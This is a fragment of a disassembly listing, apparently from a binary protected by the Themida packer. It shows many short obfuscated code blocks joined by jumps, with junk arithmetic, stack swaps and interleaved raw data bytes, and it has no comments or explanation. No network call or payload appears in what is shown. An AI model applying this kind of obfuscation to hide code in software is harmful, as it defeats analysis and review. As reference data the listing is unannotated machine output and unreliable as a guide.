		add	ebx, 0AE8CB6AFh
		push	ebx
		mov	ebx, 25253E3Ch
		add	edi, ebx
		pop	ebx
		add	edi, ebx
		jmp	loc_55ACB2
; ---------------------------------------------------------------------------

loc_5637D3:				; CODE XREF: Themida_:00559B8Ej
		mov	eax, 1EE72203h
		jmp	loc_55B85C
; ---------------------------------------------------------------------------

loc_5637DD:				; CODE XREF: Themida_:0056D1DDj
		mov	esi, 53FB227Ch
		sub	esi, 537D5705h
		shr	esi, 5
		sub	esi, 2E33285Dh
		mov	edi, esi
		pop	esi
		jmp	loc_56B793
; ---------------------------------------------------------------------------

loc_5637F9:				; CODE XREF: Themida_:00562314j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5567B1
; ---------------------------------------------------------------------------

loc_56380F:				; CODE XREF: Themida_:00558382j
					; Themida_:00565CC2j
		xor	ebx, 1CB75B30h
		add	ebx, 4858135Fh
		inc	ebx
		not	ebx
		xor	ebx, 0F87FAE16h
		sub	ecx, ebx
		pop	ebx
		pop	edi
		jmp	loc_556F77
; ---------------------------------------------------------------------------
aSs		db 'SИ╣',8,0
		db 0
; ---------------------------------------------------------------------------

loc_563833:				; CODE XREF: Themida_:0055939Dj
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		and	eax, edx
		jmp	loc_56B5B5
; ---------------------------------------------------------------------------
byte_563841	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005560ECo
		dd 0FFF3C0E9h, 62F781FFh, 29E18596h, 0CD45E9FDh, 0E95DFFFFh
		dd 0FFFFBC7Eh
; ---------------------------------------------------------------------------

loc_56385C:				; CODE XREF: Themida_:0055B317j
		pop	ecx
		jmp	loc_562E66
; ---------------------------------------------------------------------------

loc_563862:				; CODE XREF: Themida_:0055E8D7j
		mov	esi, 43BF7C0Dh
		shr	esi, 1
		shl	esi, 4
		add	esi, 1
		jmp	loc_566DFF
; ---------------------------------------------------------------------------

loc_563877:				; CODE XREF: Themida_:00568C89j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_558492
; ---------------------------------------------------------------------------

loc_563886:				; CODE XREF: Themida_:00559F63j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6EBE7C57h
		shl	ebp, 7
		shl	ebp, 5
		or	ebp, 1AC1731Fh
		shr	ebp, 5
		xor	ebp, 7FE2B9Ch
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56A022
; ---------------------------------------------------------------------------

loc_5638D0:				; CODE XREF: Themida_:0055993Cj
		mov	edi, 801A6AC7h
		jmp	loc_55D9E5
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7EDC104h, 68h, 8EA4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5638EA:				; CODE XREF: Themida_:loc_563C3Fj
		dec	edx
		jge	loc_5607B4
		dec	edx
		jg	loc_56AA69
		mov	al, 51h
		pop	edx

loc_5638FC:				; CODE XREF: Themida_:0055ADADj
		xor	bl, 0D6h
		and	bl, 48h
		jmp	loc_55AB2A
; ---------------------------------------------------------------------------

loc_563907:				; CODE XREF: Themida_:005569BBj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56C01A
; ---------------------------------------------------------------------------

loc_563910:				; CODE XREF: Themida_:00560F9Aj
		add	eax, 4
		jmp	loc_557EDD
; ---------------------------------------------------------------------------
		dw 25B9h
		dd 0E98E0622h, 6FBBh
; ---------------------------------------------------------------------------

loc_563924:				; CODE XREF: Themida_:005607ECj
		pop	eax
		jmp	loc_56D5AD
; ---------------------------------------------------------------------------
		dw 8D35h
		dd 1A2F5F8h, 9D3FE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_563936:				; CODE XREF: Themida_:00558751j
		or	bh, 74h
		sub	bh, 0F6h
		add	bh, 1
		add	dl, bh
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		add	dl, 0ADh
		add	dl, bh
		jmp	loc_563478
; ---------------------------------------------------------------------------

loc_563955:				; CODE XREF: Themida_:00564F01j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	[edx], eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	eax

loc_56396C:				; CODE XREF: Themida_:loc_56BB01j
		push	9B0h
		mov	[esp], ecx
		push	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5691C9
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 9Bh
		dd 13CE208h, 9BBA52D5h,	813CE208h, 2B4E81C5h, 35C58141h
		dd 81719633h, 867891C5h, 81D5296Eh, 867891EDh, 35ED816Eh
		dd 51719633h, 285163B9h, 0FFC1837Bh, 0FFCFC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5639BD:				; CODE XREF: Themida_:0055C86Fj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		imul	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	3F3Bh
		mov	[esp], edi
		push	eax
		jmp	loc_56AF49
; ---------------------------------------------------------------------------
aBq4_s?		db '│О4╥р.Иэ?',0
		align 2
		dw 0C0FEh
		dd 0DCF8D0Fh, 0B3530000h, 0EFCB8054h, 0DDE9DBF6h, 5D000022h
		db 56h
; ---------------------------------------------------------------------------

loc_563A01:				; CODE XREF: Themida_:0056409Fj
		sub	edi, 327CC2h
		jmp	loc_561133
; ---------------------------------------------------------------------------

loc_563A0C:				; CODE XREF: Themida_:00561D73j
		add	edi, 4
		jmp	loc_55E67C
; ---------------------------------------------------------------------------
		db 87h
		dd 15C2434h, 2434FFFDh,	0E189515Fh, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 5F0FE9h
		db 0
; ---------------------------------------------------------------------------

loc_563A39:				; CODE XREF: Themida_:0056D793j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_562814
; ---------------------------------------------------------------------------

loc_563A4E:				; CODE XREF: Themida_:005695B5j
		mov	[esp], esi
		jmp	loc_56A373
; ---------------------------------------------------------------------------

loc_563A56:				; CODE XREF: Themida_:00566C7Fj
		xor	eax, edi
		jmp	loc_55D8DC
; ---------------------------------------------------------------------------

loc_563A5D:				; CODE XREF: Themida_:00569A30j
		mov	ebp, 42BA6712h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_563A82
; ---------------------------------------------------------------------------

loc_563A72:				; CODE XREF: Themida_:00558789j
					; Themida_:0055BBC3j
		xor	eax, ebp
		pop	ebp
		push	24Bh
		mov	[esp], ecx
		jmp	loc_5683CB
; ---------------------------------------------------------------------------

loc_563A82:				; CODE XREF: Themida_:00563A6Dj
		add	edx, 5247FFEh
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 64E61A23h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_564C9E
; ---------------------------------------------------------------------------

loc_563AA0:				; CODE XREF: Themida_:0055CE4Cj
		add	bh, dl
		pop	edx
		xor	bh, 7Eh
		jmp	loc_561AD0
; ---------------------------------------------------------------------------

loc_563AAB:				; CODE XREF: Themida_:loc_5601E7j
		push	ecx
		mov	cl, 8
		xor	cl, 0B4h
		sub	bh, cl
		pop	ecx
		sub	bh, 93h
		sub	al, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	cx, [esp]
		add	esp, 2
		push	464Ch
		jmp	loc_55B84F
; ---------------------------------------------------------------------------
		dd 0C012E780h, 0EF8008E7h, 47EF80F2h, 0E9B5F780h, 0FFFF35CEh
		dd 5C240C87h, 685B5453h, 7A7Dh,	0B8240489h, 9377D1Ah, 0FF810F48h
		dd 0DFFFFEDh, 6E657CC3h, 0FF6C24E9h, 0E9595FFFh, 0FFFF30FCh
; ---------------------------------------------------------------------------

loc_563B10:				; CODE XREF: Themida_:00560B34j
		sub	cl, 1
		inc	cl
		sub	cl, 9Ch
		sub	dh, 38h
		jmp	loc_556B05
; ---------------------------------------------------------------------------

loc_563B20:				; CODE XREF: Themida_:00560E09j
		xor	ecx, 6E37195h
		sub	ebx, ecx
		jmp	loc_565933
; ---------------------------------------------------------------------------

loc_563B2D:				; CODE XREF: Themida_:0055FD97j
		pop	eax
		sub	esi, 6A29621Fh
		add	esi, 724F7669h
		add	esi, edi
		sub	esi, 724F7669h
		jmp	loc_5697DE
; ---------------------------------------------------------------------------

loc_563B47:				; CODE XREF: Themida_:00561549j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_566637
; ---------------------------------------------------------------------------

loc_563B60:				; CODE XREF: Themida_:0055818Fj
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_569BB5
; ---------------------------------------------------------------------------
		dw 42BAh
		dd 83732027h, 3C8904ECh, 0E81BF24h, 0E7812F58h,	56B5CF9h
		dd 0EF81DFF7h, 488D4EF2h, 0E781EFD1h, 3192361Bh, 0C1BDBA52h
		dd 0D729F049h, 58BA055Ah, 0F8017C6Bh, 6B58BA2Dh, 0D0295F7Ch
		dd 0C650452Dh, 0C8015A20h, 0FF8DABE9h, 4441B8FFh, 0F829F077h
		dd 31B4355Fh, 7D0538F5h, 1B1E3FCh, 6B3EE9C6h
		db 2 dup(0)
word_563BCE	dw 34FFh		; DATA XREF: Themida_:00556280o
aYrhO		db '$YRh\O',0
		align 4
		dd 81242489h, 42404h, 148B0000h, 4C48124h, 0E9000000h
		dd 0FFFFDAB8h
; ---------------------------------------------------------------------------

loc_563BF0:				; CODE XREF: Themida_:0056AADFj
		or	edi, ecx
		jmp	loc_55E8B8
; ---------------------------------------------------------------------------

loc_563BF7:				; CODE XREF: Themida_:00569EBFj
		mov	eax, 6AAE6745h
		sub	eax, 6AAE6741h
		add	edi, eax
		pop	eax
		push	edi
		jmp	loc_56ACA5
; ---------------------------------------------------------------------------

loc_563C0A:				; CODE XREF: Themida_:005629C6j
		add	edi, 49C004F0h
		jz	loc_55FF98
		sub	edi, 943E80F7h
		mov	ebp, edi
		pop	edi
		sub	edi, 6EA4134Eh
		add	edi, ebp
		add	edi, 6EA4134Eh
		pop	ebp
		push	ebx
		mov	ebx, 2
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_5646AC
; ---------------------------------------------------------------------------

loc_563C3F:				; CODE XREF: Themida_:005589E6j
		jnz	loc_5638EA
		dec	edx
		jge	loc_56CEA3
		dec	edx
		mov	dl, 0EFh
		xor	edx, 3AD906E0h
		jle	loc_563583
		jmp	loc_56BA34
; ---------------------------------------------------------------------------

loc_563C60:				; CODE XREF: Themida_:00561062j
		shl	ebp, 2
		jmp	loc_560ACE
; ---------------------------------------------------------------------------
		dd 2332F0BBh, 81DBF726h, 405CA2C3h, 27C38118h, 29793E08h
		dd 241C8BD8h, 4C481h, 0E9520000h, 0FFFFFEDEh
; ---------------------------------------------------------------------------

loc_563C8C:				; CODE XREF: Themida_:005584E5j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56C850
; ---------------------------------------------------------------------------

loc_563C95:				; CODE XREF: Themida_:0055D293j
		pop	eax
		sub	eax, esi
		pop	esi
		jmp	loc_55B9ED
; ---------------------------------------------------------------------------

loc_563C9E:				; CODE XREF: Themida_:0056BEDEj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_559B20
; ---------------------------------------------------------------------------

loc_563CAE:				; CODE XREF: Themida_:0056B836j
		add	edx, 250404A7h
		sub	ebp, edx
		pop	edx
		jmp	loc_564FC9
; ---------------------------------------------------------------------------

loc_563CBC:				; CODE XREF: Themida_:0056AEDEj
		add	esp, 4
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 427E512Ah
		or	ebp, 68B3280Fh
		xor	ebp, 6AFF792Bh
		add	esi, ebp
		pop	ebp
		jmp	loc_55A0A3
; ---------------------------------------------------------------------------

loc_563CED:				; CODE XREF: Themida_:0055B6F2j
					; Themida_:00566CE9j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55F135
; ---------------------------------------------------------------------------

loc_563CFC:				; CODE XREF: Themida_:00559B1Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		jmp	loc_564E3B
; ---------------------------------------------------------------------------

loc_563D10:				; CODE XREF: Themida_:0056629Cj
		xchg	edi, ebx
		add	ebx, 360329C1h
		shl	ebx, 3
		dec	ebx
		not	ebx
		xor	ebx, 0DC981A14h
		add	ebp, ebx
		jmp	loc_56317D
; ---------------------------------------------------------------------------

loc_563D2B:				; CODE XREF: Themida_:0056D03Fj
		sub	ebx, 650E327Ch
		push	eax
		jmp	loc_55A018
; ---------------------------------------------------------------------------

loc_563D37:				; CODE XREF: Themida_:005669C5j
		mov	esi, 5FCF1ECDh
		jmp	loc_55DC91
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0D9h
		dd 240C875Bh, 2C1835Ch,	31240C33h, 0C33240Ch, 71C2E924h
		dd 0EAC00000h, 8E2C008h, 4EC81h, 1C890000h, 8045B324h
		dd 0F1E9B0C3h, 81000069h, 3904C0C3h, 243C8B0Bh,	6D26E9h
		dd 0BC68000h, 76E9E600h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563D8B:				; CODE XREF: Themida_:00562DC4j
		push	ebx
		jmp	loc_55D383
; ---------------------------------------------------------------------------

loc_563D91:				; CODE XREF: Themida_:0055936Cj
					; Themida_:00565E3Dj
		add	edi, 2132073Fh
		sub	edi, ebp
		jmp	loc_55FC61
; ---------------------------------------------------------------------------

loc_563D9E:				; CODE XREF: Themida_:0056D0C9j
		push	7F36h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 0E0A1AD1h
		jmp	loc_5587A1
; ---------------------------------------------------------------------------

loc_563DCB:				; CODE XREF: Themida_:0056B81Ej
		sub	esi, 2AAF25AFh
		add	esi, edx
		add	esi, 2AAF25AFh
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_565C65
; ---------------------------------------------------------------------------
		db 1
		dd 7685BD8h, 0E900001Dh, 0FFFFD403h, 8602C483h,	0D434E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563E02:				; CODE XREF: Themida_:005605FDj
		push	edx
		mov	edx, 14885508h
		shl	edx, 4
		add	edx, 415A1498h
		jmp	loc_55C642
; ---------------------------------------------------------------------------

loc_563E16:				; CODE XREF: Themida_:00564484j
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_562EF2
; ---------------------------------------------------------------------------
		dd 7DBD5559h, 15AE96Eh,	242C8BEBh, 2904C483h, 4EC83C3h
		dd 0FFC353E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563E49:				; CODE XREF: Themida_:0055E9DFj
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_55DDCA
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 56515C24h,	0FFA686E9h
		db 0FFh
byte_563E6D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00556288o
		dd 4EC8324h, 0FF98ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_563E79:				; CODE XREF: Themida_:00559C24j
		mov	ebx, esp
		jmp	loc_560C75
; ---------------------------------------------------------------------------

loc_563E80:				; CODE XREF: Themida_:00567F07j
		not	edi
		jmp	loc_55A346
; ---------------------------------------------------------------------------

loc_563E87:				; CODE XREF: Themida_:0056B14Cj
		jo	loc_56C9AB
		add	eax, 25CDC29Bh
		mov	edx, eax
		jmp	loc_5660F6
; ---------------------------------------------------------------------------

loc_563E99:				; CODE XREF: Themida_:00563355j
					; Themida_:005655E2j
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_56B5E2
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 5B9B4747h, 0A877BE56h, 0F5298FCFh, 6542D5Eh,	0E82901EEh
		dd 0EE065405h, 7A2D5D01h, 17D337Eh, 7E7A05F0h, 53517D33h
		dd 8B197968h, 9780E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563ED6:				; CODE XREF: Themida_:loc_558F14j
		not	ebx
		and	ebx, 7C363503h
		jns	loc_56027F
		add	ebx, 0F547FB40h
		jmp	loc_5688E3
; ---------------------------------------------------------------------------
		db 88h
		db 0CCh
; ---------------------------------------------------------------------------

loc_563EF1:				; CODE XREF: Themida_:00559852j
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55C30E
; ---------------------------------------------------------------------------
		dw 6968h
		dd 89000029h, 54B82404h, 48404B61h, 31532625h, 6D35680Bh
		dd 2C890000h, 3852E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_563F46:				; CODE XREF: Themida_:0056AD79j
		xor	eax, [esp]
		jmp	loc_5682E4
; ---------------------------------------------------------------------------

loc_563F4E:				; CODE XREF: Themida_:0055F635j
		add	edx, 53210B3Ah
		shl	edx, 7
		add	edx, 0FFFFFFFFh
		xor	edx, 26B201D7h
		xor	edx, 63042E0Fh
		push	ecx
		jmp	loc_55CB1C
; ---------------------------------------------------------------------------

loc_563F6C:				; CODE XREF: Themida_:0055BDC1j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55F401
; ---------------------------------------------------------------------------

loc_563F8F:				; CODE XREF: Themida_:0055A395j
		push	edi
		mov	edi, 0FF934EDCh
		add	eax, edi
		jmp	loc_55B8B9
; ---------------------------------------------------------------------------

loc_563F9C:				; CODE XREF: Themida_:0056457Bj
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_558210
; ---------------------------------------------------------------------------

loc_563FB5:				; CODE XREF: Themida_:00558D97j
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	2
		pop	edi
		push	2CB2h
		mov	[esp], edi
		pop	edx
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56A353
; ---------------------------------------------------------------------------

loc_563FD8:				; CODE XREF: Themida_:00561AEEj
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_563FE4:				; CODE XREF: Themida_:00567989j
		xor	bh, dl
		pop	edx
		jmp	loc_55CE57
; ---------------------------------------------------------------------------

loc_563FEC:				; CODE XREF: Themida_:0056BFA9j
		dec	ch
		jle	loc_55A100
		push	ebx
		mov	bh, 0DBh
		sub	ch, 11h
		add	ch, bh
		add	ch, 11h
		pop	ebx
		pop	edx

loc_564001:				; CODE XREF: Themida_:00563499j
		push	5252h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55C34C
; ---------------------------------------------------------------------------
		db 87h
		dd 335C2404h, 1C31241Ch, 241C3324h, 6624248Bh, 68C8BE0Fh
		dd 2FAEh, 54241489h, 5A2434FFh,	68E38953h, 2E57h, 0BE243489h
		dd 61DD5919h, 0FF5C67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_564051:				; CODE XREF: Themida_:00559582j
		inc	bp
		push	ax
		mov	ax, 0B972h
		sub	bp, 59A4h
		add	bp, ax
		jmp	loc_56CEA3
; ---------------------------------------------------------------------------

loc_564066:				; CODE XREF: Themida_:00563275j
					; Themida_:00568AA5j
		push	21F9h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	24B7h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_55809F
; ---------------------------------------------------------------------------

loc_56408A:				; CODE XREF: Themida_:005692F9j
		add	ebx, 3D546ED0h
		jmp	loc_567156
; ---------------------------------------------------------------------------

loc_564095:				; CODE XREF: Themida_:005685C8j
		xchg	esi, edi
		inc	edi
		neg	edi
		not	edi
		shr	edi, 7
		jmp	loc_563A01
; ---------------------------------------------------------------------------

loc_5640A4:				; CODE XREF: Themida_:00561D40j
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, 44h
		shr	ch, 4
		jmp	loc_56921E
; ---------------------------------------------------------------------------

loc_5640B4:				; CODE XREF: Themida_:00558F88j
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_556AD7
; ---------------------------------------------------------------------------

loc_5640C4:				; CODE XREF: Themida_:0056218Fj
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_55DAA3
; ---------------------------------------------------------------------------
		dd 0E7C0DCB7h, 6804h, 3C280000h, 243C8A24h, 4A56E9h
		db 0
byte_5640FD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00556190o
		dd 4EC8324h, 0E9240489h, 74Ch
; ---------------------------------------------------------------------------

loc_56410C:				; CODE XREF: Themida_:0055809Aj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
dword_564120	dd 32243C30h, 3C30243Ch, 53E78624h, 0FFCDCDE9h,	4C381FFh
					; DATA XREF: Themida_:0055603Co
		dd 83000000h, 93E904C3h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56413F:				; CODE XREF: Themida_:0055E6E0j
		jo	loc_556CCB
		jmp	loc_560030
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 85ECBFBBh, 4E99BA52h, 814204E5h, 0AE277CEAh,	2429E9E8h
		dd 0EC83FFFFh, 24348904h, 7071B850h, 0E9923F26h, 55D5h
; ---------------------------------------------------------------------------

loc_564174:				; CODE XREF: Themida_:0056914Ej
		mov	esi, ebx
		mov	ebx, [esp]
		jmp	loc_564AE4
; ---------------------------------------------------------------------------

loc_56417E:				; CODE XREF: Themida_:0055AF7Aj
		push	ecx
		mov	ecx, 44751FADh
		add	ecx, 5CD21DDBh
		jmp	loc_569115
; ---------------------------------------------------------------------------

loc_56418F:				; CODE XREF: Themida_:0055F444j
		add	edx, 4
		jmp	loc_56BBF5
; ---------------------------------------------------------------------------

loc_56419A:				; CODE XREF: Themida_:00557AE4j
		mov	[esp], ax
		mov	ah, 51h
		jmp	loc_566933
; ---------------------------------------------------------------------------

loc_5641A5:				; CODE XREF: Themida_:0055ED7Bj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_567EFB
; ---------------------------------------------------------------------------

loc_5641B4:				; CODE XREF: Themida_:00556FF7j
		mov	edx, [esp]
		push	ebp
		jmp	loc_5612EE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 1685685Eh, 0C890000h, 875FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5641CE:				; CODE XREF: Themida_:0056D37Aj
		add	dl, 0F4h
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_55AE4A
; ---------------------------------------------------------------------------

loc_5641E5:				; CODE XREF: Themida_:0055BEABj
		pop	esp
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_5641EB:				; CODE XREF: Themida_:00557306j
		and	dh, 0B3h
		add	dh, 0B7h
		and	dh, 84h
		jmp	loc_55A7D1
; ---------------------------------------------------------------------------

loc_5641F9:				; CODE XREF: Themida_:005632BBj
		mov	esi, 1AB213EDh
		sub	esi, 1AB213E9h
		add	ebx, esi
		pop	esi
		push	2013h
		mov	[esp], esi
		push	ecx
		push	eax
		mov	eax, 13316137h
		add	eax, 0ECCE9ECBh
		push	eax
		sub	dword ptr [esp], 22437267h
		pop	ecx
		add	ecx, 22437267h
		mov	eax, [esp]
		jmp	loc_55A4D8
; ---------------------------------------------------------------------------

loc_564232:				; CODE XREF: Themida_:00559524j
		xor	ebx, edx
		pop	edx
		xor	edi, ebx
		pop	ebx
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56364D
; ---------------------------------------------------------------------------

loc_564248:				; CODE XREF: Themida_:00568D66j
		and	eax, ecx
		pop	ecx
		jmp	loc_5696D0
; ---------------------------------------------------------------------------

loc_564250:				; CODE XREF: Themida_:0056B21Cj
		mov	ecx, ebp
		jmp	loc_5615CB
; ---------------------------------------------------------------------------

loc_564257:				; CODE XREF: Themida_:0056C7E5j
		js	loc_55E612
		jmp	loc_56AEB8
; ---------------------------------------------------------------------------
aXsK		db 'XИиK',0
		align 4

loc_564268:				; CODE XREF: Themida_:00561314j
		push	ebx
		push	ecx
		jmp	loc_55CE16
; ---------------------------------------------------------------------------

loc_56426F:				; CODE XREF: Themida_:0055CC41j
		jmp	loc_56B18B
; ---------------------------------------------------------------------------

loc_564274:				; CODE XREF: Themida_:005658C6j
		jmp	loc_557999
; ---------------------------------------------------------------------------
byte_564279	db 83h,	0ECh, 4		; DATA XREF: Themida_:005561F8o
		dd 68242C89h, 6901h, 83243C89h,	75E904ECh, 80FFFF2Ch, 0CB884BE9h
		dd 0E9DD0059h, 0FFFF5F4Fh
; ---------------------------------------------------------------------------

loc_56429C:				; CODE XREF: Themida_:0055AC59j
		pop	ebx
		jmp	loc_558F6E
; ---------------------------------------------------------------------------
		dw 68BBh
		dd 0E97E1F55h, 451Eh
; ---------------------------------------------------------------------------

loc_5642AC:				; CODE XREF: Themida_:00566E77j
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	esi, ebx
		push	dword ptr [esp]
		jmp	loc_564FF6
; ---------------------------------------------------------------------------

loc_5642BE:				; CODE XREF: Themida_:00567402j
		add	esp, 4
		shr	eax, 1
		add	eax, 7E0E1CFBh
		jb	loc_56187A
		jmp	loc_558684
; ---------------------------------------------------------------------------

loc_5642D3:				; CODE XREF: Themida_:0055A590j
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_55EC3D
; ---------------------------------------------------------------------------

loc_5642E0:				; CODE XREF: Themida_:0055AFF0j
		add	edx, 39BE36AFh
		pop	edi
		jmp	loc_56AAFE
; ---------------------------------------------------------------------------
dword_5642EC	dd 4EC83ADh, 56243C89h,	6E42C9BEh, 5EF78944h, 13ED68h
					; DATA XREF: Themida_:00556098o
		dd 242C8900h, 100BE068h, 1DE95D78h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56430F:				; CODE XREF: Themida_:0055D9EEj
		mov	edi, esp
		add	edi, 4
		jmp	loc_55FDD5
; ---------------------------------------------------------------------------

loc_56431C:				; CODE XREF: Themida_:loc_568CA6j
		add	esi, 0EFD3C0E3h
		push	ecx
		mov	ecx, 7C185FDDh
		sub	eax, ecx
		pop	ecx
		add	eax, esi
		add	eax, 7C185FDDh
		jmp	loc_568431
; ---------------------------------------------------------------------------

loc_564337:				; CODE XREF: Themida_:0056CC73j
		mov	[esp], ecx
		push	eax
		mov	al, bl
		jmp	loc_567751
; ---------------------------------------------------------------------------

loc_564342:				; CODE XREF: Themida_:0055FFA1j
					; Themida_:0056A798j
		push	ebx
		mov	bl, al
		push	edx
		mov	dl, bl
		jmp	loc_5655E7
; ---------------------------------------------------------------------------

loc_56434D:				; CODE XREF: Themida_:00566DD0j
		pop	eax
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dd 0FFE95D54h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_564363:				; CODE XREF: Themida_:0055D441j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5678BA
; ---------------------------------------------------------------------------

loc_564371:				; CODE XREF: Themida_:0055CAD8j
		push	438Ah
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_5657A8
; ---------------------------------------------------------------------------

loc_564389:				; CODE XREF: Themida_:00558B39j
		push	eax
		mov	ah, 0Ch
		push	ecx
		mov	cl, 0D7h
		shl	cl, 7
		sub	cl, 91h
		sub	cl, 6Fh
		add	cl, 0A8h
		jmp	loc_56151B
; ---------------------------------------------------------------------------
		dd 0E953665Ah, 0FFFF7885h
; ---------------------------------------------------------------------------

loc_5643A8:				; CODE XREF: Themida_:00566D6Ej
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 87h
		jmp	loc_566F5C
; ---------------------------------------------------------------------------

loc_5643B6:				; CODE XREF: Themida_:00561FE7j
					; Themida_:0056C98Bj
		push	36Ch
		jmp	loc_562673
; ---------------------------------------------------------------------------

loc_5643C0:				; CODE XREF: Themida_:005625BBj
					; Themida_:0056D412j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_560BC7
; ---------------------------------------------------------------------------

